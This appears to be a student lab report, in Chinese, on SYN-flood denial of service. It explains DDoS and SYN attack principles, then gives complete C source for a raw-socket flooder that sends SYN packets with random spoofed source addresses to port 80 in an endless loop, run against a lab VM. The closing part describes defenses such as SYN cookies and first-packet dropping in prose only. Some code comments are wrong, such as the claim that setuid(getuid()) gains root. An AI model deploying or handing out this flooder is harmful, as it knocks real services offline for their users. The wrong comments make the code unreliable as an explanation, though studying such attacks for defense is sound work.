1. 程式人生 > 實用技巧 >拒絕服務攻擊與防禦

拒絕服務攻擊與防禦

1.實驗目的

(1)理解拒絕服務攻擊的基本原理和對應的檢測技術
(2)掌握程式設計實現方法

2.實驗內容

(1)使用Python或C/C++語言,編寫實現任意一種拒絕服務攻擊程式
(2)使用Python或C/C++語言,編寫實現針對1中攻擊工具的專用檢測程式
(3)同步測試所編寫的攻擊程式和專用檢測程式,介紹測試方案、解釋測試效果,並分析攻擊或檢測程式的侷限與改進思路

3.實驗原理

(1)DDoS 分散式拒絕服務攻擊原理分散式拒絕服務攻擊 DDoS 是一種基於 DoS 的特殊形式的拒絕服務攻擊,是一種分佈的、協同的大規模攻擊方式。單一的 DoS 攻擊一般是採用一對一方式的,它利用網路協議和作業系統的一些缺陷,採用欺騙和偽裝的策略來進行網路攻擊,使網站伺服器充斥大量要求回覆的資訊,消耗網路頻寬或系統資源,導致網路或系統不勝負荷以至於癱瘓而停止提供正常的網路服務。與 DoS 攻擊由單臺主機發起攻擊相比較,分散式拒絕服務攻擊 DDoS 是藉助數百、甚至數千臺被入侵後安裝了攻擊程序的主機同時發起的集團行為。一個完整的 DDoS 攻擊體系由攻擊者、主控端、代理端和攻擊目標四部分組成。主控端和代理端分別用於控制和實際發起攻擊,其中主控端只發布命令而不參與實際的攻擊,代理端發出 DDoS 的實際攻擊包。對於主控端和代理端的計算機,攻擊者有控制權或者部分控制權.它在攻擊過程中會利用各種手段隱藏自己不被別人發現。真正的攻擊者一旦將攻擊的命令傳送到主控端,攻擊者就可以關閉或離開網路.而由主控端將命令釋出到各個代理主機上。這樣攻擊者可以逃避追蹤。每一個攻擊代理主機都會向目標主機發送大量的服務請求資料包,這些資料包經過偽裝,無法識別它的來源,而且這些資料包所請求的服務往往要消耗大量的系統資源,造成目標主機無法為使用者提供正常服務。甚至導致系統崩潰。

(2)SYN 攻擊屬於 DOS 攻擊的一種,它利用 TCP 協議缺陷,通過傳送大量的半連線請求,耗費 CPU 和
記憶體資源。SYN 攻擊除了能影響主機外,還可以危害路由器、防火牆等網路系統,事實上 SYN 攻擊並不管目標是什麼系統,只要這些系統開啟 TCP 服務就可以實施。從上圖可看到,伺服器接收到連線請求(syn=j),將此資訊加入未連線佇列,併發送請求包給客戶(syn=k,ack=j+1),此時進入 SYN_RECV 狀態。當伺服器未收到客戶端的確認包時,重發請求包,一直到超時,才將此條目從未連線佇列刪除。配合 IP 欺騙,SYN攻擊能達到很好的效果,通常,客戶端在短時間內偽造大量不存在的 IP 地址,向伺服器不斷地傳送 syn 包,伺服器回覆確認包,並等待客戶的確認,由於源地址是不存在的,伺服器需要不斷的重發直至超時,這些偽造的 SYN 包將長時間佔用未連線佇列,正常的 SYN 請求被丟棄,目標系統執行緩慢,嚴重者引起網路堵塞甚至系統癱瘓。

(3)關於 SYN 攻擊防範技術,歸納起來,主要有兩大類,一類是通過防火牆、路由器等過濾閘道器防護,
另一類是通過加固 TCP/IP 協議棧防範.但必須清楚的是,SYN 攻擊不能完全被阻止,我們所做的是儘可能
的減輕 SYN 攻擊的危害,除非將 TCP 協議重新設計。

4.實驗記錄

攻擊機:kali2020:192.168.16.129
受害機:win2003:192.168.16.131

(1)DDoS攻擊原始碼dos.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#define LOCALPORT 3455 /*本地攻擊埠*/
#define DESTPORT 80 /*目標埠*/
#define MYPORT 8888 /*我的埠*/
int main(int argc,char **argv)
{
	int sockfd;
	struct sockaddr_in addr;
	int on;
	if(argc!=2)
	{
		fprintf(stderr,"usage:%s 192.168.16.131\n\a",argv[0]); //被攻擊 IP
		exit(1);
	}
	bzero(&addr,sizeof(struct sockaddr_in));
	addr.sin_family=AF_INET;
	addr.sin_port=htons(DESTPORT);
	inet_aton(argv[1],&addr.sin_addr);
	/*建立一個 TCP 的原始套接字*/
	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
	if(sockfd<0)
	{
		perror("socket error\n");
		exit(1);
	}
	/*設定套接字選項 IP_HDRINCL,由使用者程式填寫 IP 頭部*/
	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
	setuid(getuid()); /*獲得超級使用者的許可權*/
	char buffer[100]; /*定義存放資料報的快取區*/
	struct ip *ipp;
	struct tcphdr *tcp;
	int head_len;
	/*資料報的長度即 IP 頭部與 TCP 頭部之後*/
	head_len=sizeof(struct ip)+sizeof(struct tcphdr);
	bzero(buffer,100);
	/*開始填充 IP 資料報的頭部*/
ipp=(struct ip *)buffer;
	ipp->ip_v=IPVERSION; /*IPV4*/
	ipp->ip_hl=sizeof(struct ip)>>2;/*IP 資料報的頭部長度*/
	ipp->ip_tos=0; /*服務型別*/
	ipp->ip_len=htons(head_len); /*IP 資料報的長度*/
	ipp->ip_id=0; /*IP id 由核心填寫*/
	ipp->ip_off=0; /*有核心填寫*/
	ipp->ip_ttl=MAXTTL;
	ipp->ip_p=IPPROTO_TCP; /*傳輸層協議為 TCP*/
	ipp->ip_dst=addr.sin_addr; /*目的地址,即攻擊目標*/
	printf("dest address is %s\n",inet_ntoa(addr.sin_addr));
	/*開始填寫 TCP 資料報*/
	tcp=(struct tcphdr*)(buffer+sizeof(struct ip)); /*獲取指向 TCP 頭部的指標*/
	tcp->source=htons(LOCALPORT);
	tcp->dest=addr.sin_port; /*目的埠*/
	tcp->seq=random(); /*隨機產生序列號*/
	tcp->ack_seq=0;
	tcp->doff=5;
	tcp->syn=1; /*表示 SYN 資料報*/
	tcp->check=0;
	while(1) /*迴圈傳送攻擊包,*/
	{
		/*隨機產生源地址,使伺服器收不到最後一個 ACK 應答*/
		ipp->ip_src.s_addr=random();
		printf("addr is %d\n",ipp->ip_src.s_addr);
		sendto(sockfd,buffer,head_len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr));
		/*傳送攻擊資料報*/
	}
	return 0;
}

圖1-1 win2003 IP地址

圖1-2 kali2020 IP地址

圖1-3 攻擊前win2003 的CPU佔用率以及效能

將C程式程式碼放置kali裡,通過命令進行編譯,最後進行攻擊。


圖1-4 對dos.c檔案進行編譯,並生成dos檔案

在kali裡通過命令:./dos 192.168.16.131(IP地址為受害主機IP,注意:斜槓前還有一個小數點)


圖1-5 產生攻擊

圖1-6 攻擊時的CPU佔用率,效能指標,以及所抓獲的資料包
    根據結果顯示,DDoS攻擊能夠佔用大量的CPU,同時效能指標很明顯不正常,所抓獲的資料包只是一小部分,經過一小段時間,wirshark會抓獲大量的資料包,並可能對於wirshark來說,可能會造成軟體崩潰。
圖1-7 經過一小段攻擊時間,抓獲近90w+的資料包

(2)Syn防禦

1)cookie源認證:

    原理是 syn 報文首先由 DDOS 防護系統來響應 syn_ack。帶上特定的 sequence number (記為 cookie)。真實的客戶端會返回一個 ack 並且 Acknowledgment number 為 cookie+1。 而偽造的客戶端,將不會作出響應。這樣我們就可以知道那些 IP 對應的客戶端是真實的,將真實客戶端 IP 加入白名單。下次訪問直接通過,而其他偽造的 syn 報文就被攔截。

2)TCP首包丟棄:

    該演算法利用了 TCP/IP 協議的重傳特性,來自某個源 IP 的第一個 syn 包到達時被直接丟棄並記錄狀態,在該源 IP 的第 2 個 syn 包到達時進行驗證,然後放行。

當防禦裝置接到一個 IP 地址的 SYN 報文後:
①接受到 syn 報文——簡單比對該 IP 是否存在於白名單中——存在則轉發到後端,否則進行第 2 步
②不存在於白名單中——檢查是否是該 IP 在一定時間段內的首次 SYN 報文——不是則進行第 3 步,
③不是首次 SYN 報文——檢查是否重傳報文——是重傳則轉發並加入白名單,不是則丟棄並加入黑名單
④是首次 SYN 報文——丟棄並等待一段時間以試圖接受該 IP 的 SYN 重傳報文,等待超時則判定為攻擊報文加入黑名單。

    首包丟棄方案對使用者體驗會略有影響,因為丟棄首包重傳會增大業務的響應時間,有鑑於此發展出了一種更優的 TCP Proxy 方案。所有的 SYN 資料報文由清洗裝置接受,按照 SYN Cookie 方案處理。和裝置成功建立了 TCP 三次握手的 IP 地址被判定為合法使用者加入白名單,由裝置偽裝真實客戶端 IP 地址再與真實伺服器完成三次握手,隨後轉發資料。而指定時間內沒有和裝置完成三次握手的 IP 地址,被判定為惡意 IP 地址遮蔽一定時間。除了 SYN Cookie 結合 TCP Proxy 外,清洗裝置還具備多種畸形 TCP 標誌位資料包探測的能力,通過對 SYN 報文返回非預期應答測試客戶端反應的方式來鑑別正常訪問和惡意行為。